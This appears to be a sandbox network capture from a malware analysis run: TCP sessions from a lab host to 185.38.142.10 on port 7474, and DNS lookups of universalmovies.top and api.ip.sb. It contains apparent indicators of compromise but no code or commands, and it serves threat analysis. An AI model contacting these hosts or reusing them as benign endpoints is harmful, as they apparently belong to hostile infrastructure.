Jun 24, 2024 18:23:24.051778078 CEST	49176	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:24.051810026 CEST	49176	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.722013950 CEST	49176	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.722338915 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.727431059 CEST	7474	49176	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.727482080 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.727544069 CEST	49176	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.727602959 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.727726936 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.727787971 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.733417034 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.733438969 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.733525991 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.738971949 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.739062071 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.739067078 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.739093065 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.739120007 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.739147902 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744307995 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744340897 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744386911 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744386911 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744393110 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744421959 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744450092 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744450092 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744477034 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.744487047 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744505882 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.744539022 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749659061 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749689102 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749716997 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749744892 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749761105 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749772072 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749793053 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749823093 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749847889 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749912977 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.749933958 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.749978065 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.797359943 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.797481060 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.845207930 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.845314026 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.893467903 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.893542051 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.941098928 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.941179037 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:31.989113092 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:31.989213943 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.037103891 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.037308931 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.085158110 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.085242987 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.133241892 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.133327007 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.181399107 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.181484938 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.233122110 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.233247042 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.245613098 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.245795012 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.250912905 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250929117 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250941038 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250952959 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250958920 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250972033 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.250994921 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251000881 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251008034 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251022100 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251035929 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251040936 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251053095 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251065016 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251066923 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251079082 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251113892 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251116991 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251137018 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251144886 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251179934 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251209974 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251630068 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251642942 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251647949 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251660109 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251671076 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251682997 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251694918 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251708031 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251708031 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251718998 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251730919 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251735926 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251754999 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251770020 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251780987 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251781940 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.251792908 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251806021 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251817942 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.251830101 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.252433062 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257366896 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257379055 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257384062 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257389069 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257392883 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257400036 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257405996 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257417917 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257428885 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.257441998 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258327007 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258733988 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258913994 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258927107 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258939028 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258953094 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.258965015 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.259042978 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.259056091 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.259067059 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.259170055 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.960233927 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.961637974 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.966532946 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:32.966852903 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.966852903 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:32.971653938 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.166858912 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.169193983 CEST	7474	49178	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.169271946 CEST	49178	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.322940111 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.327930927 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.328002930 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.328177929 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.328241110 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.333239079 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.333251953 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.333285093 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.333298922 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.333306074 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.333332062 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.333347082 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338198900 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338212967 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338224888 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338237047 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338258982 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338269949 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338270903 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338282108 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338284016 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338315010 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338327885 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338337898 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338378906 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.338468075 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.338512897 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.343137980 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.343163013 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.343194008 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.343213081 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.385139942 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.385271072 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.403697014 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.403806925 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408782959 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408796072 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408819914 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408833027 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408845901 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408849955 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408859015 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408876896 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408893108 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408902884 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408911943 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408932924 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408947945 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408953905 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.408967972 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.408991098 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.409006119 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.409013987 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.409038067 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.409060955 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.409167051 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.409179926 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.409210920 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.409234047 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.409276962 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.409338951 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.410608053 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.410677910 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.413831949 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.413919926 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.413955927 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414004087 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414083004 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414127111 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414128065 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414140940 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414176941 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414194107 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414267063 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414319992 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414432049 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414452076 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414479971 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414504051 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414536953 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414550066 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414573908 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414583921 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414602995 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:33.414642096 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414655924 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414675951 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414768934 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414783001 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414803982 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414906025 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.414920092 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.415468931 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.415561914 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.418946028 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.419416904 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.419496059 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.419610023 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.419641972 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:33.419673920 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:35.614211082 CEST	7474	49179	185.38.142.10	192.168.2.22
Jun 24, 2024 18:23:35.658433914 CEST	49179	7474	192.168.2.22	185.38.142.10
Jun 24, 2024 18:23:35.658936024 CEST	49178	7474	192.168.2.22	185.38.142.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 24, 2024 18:22:55.070482969 CEST	52917	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:22:55.085390091 CEST	53	52917	8.8.8.8	192.168.2.22
Jun 24, 2024 18:22:59.371992111 CEST	54821	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:22:59.383816004 CEST	53	54821	8.8.8.8	192.168.2.22
Jun 24, 2024 18:22:59.390760899 CEST	54719	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:22:59.398675919 CEST	53	54719	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:05.933547974 CEST	52781	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:05.952411890 CEST	53	52781	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:05.953915119 CEST	63926	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:05.961061001 CEST	53	63926	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:07.258905888 CEST	65510	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:07.277204990 CEST	53	65510	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:07.284126997 CEST	62672	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:07.292412043 CEST	53	62672	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:08.806937933 CEST	56475	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:08.814817905 CEST	53	56475	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:08.818243027 CEST	49384	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:08.826379061 CEST	53	49384	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:11.929521084 CEST	54842	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:11.936785936 CEST	53	54842	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:15.000698090 CEST	58105	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:15.013371944 CEST	53	58105	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:15.018553972 CEST	64928	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:15.025304079 CEST	53	64928	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:16.586559057 CEST	57390	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:16.593208075 CEST	53	57390	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:16.594911098 CEST	58095	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:16.601613998 CEST	53	58095	8.8.8.8	192.168.2.22
Jun 24, 2024 18:23:24.591696978 CEST	54261	53	192.168.2.22	8.8.8.8
Jun 24, 2024 18:23:24.608532906 CEST	60507	53	192.168.2.22	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 24, 2024 18:22:55.070482969 CEST	192.168.2.22	8.8.8.8	0x9372	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.371992111 CEST	192.168.2.22	8.8.8.8	0x7671	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.390760899 CEST	192.168.2.22	8.8.8.8	0x322c	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.933547974 CEST	192.168.2.22	8.8.8.8	0x2664	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.953915119 CEST	192.168.2.22	8.8.8.8	0xb6ec	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:07.258905888 CEST	192.168.2.22	8.8.8.8	0x9c5b	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:07.284126997 CEST	192.168.2.22	8.8.8.8	0x4189	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.806937933 CEST	192.168.2.22	8.8.8.8	0x2383	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.818243027 CEST	192.168.2.22	8.8.8.8	0x99e0	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:11.929521084 CEST	192.168.2.22	8.8.8.8	0x836e	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.000698090 CEST	192.168.2.22	8.8.8.8	0x98ab	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.018553972 CEST	192.168.2.22	8.8.8.8	0xae0f	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.586559057 CEST	192.168.2.22	8.8.8.8	0xd36d	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.594911098 CEST	192.168.2.22	8.8.8.8	0x733b	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:24.591696978 CEST	192.168.2.22	8.8.8.8	0x1678	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:24.608532906 CEST	192.168.2.22	8.8.8.8	0x132c	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 24, 2024 18:22:55.085390091 CEST	8.8.8.8	192.168.2.22	0x9372	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:55.085390091 CEST	8.8.8.8	192.168.2.22	0x9372	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.383816004 CEST	8.8.8.8	192.168.2.22	0x7671	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.383816004 CEST	8.8.8.8	192.168.2.22	0x7671	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.398675919 CEST	8.8.8.8	192.168.2.22	0x322c	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:22:59.398675919 CEST	8.8.8.8	192.168.2.22	0x322c	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.952411890 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.952411890 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.961061001 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:05.961061001 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:07.277204990 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:07.277204990 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:07.292412043 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
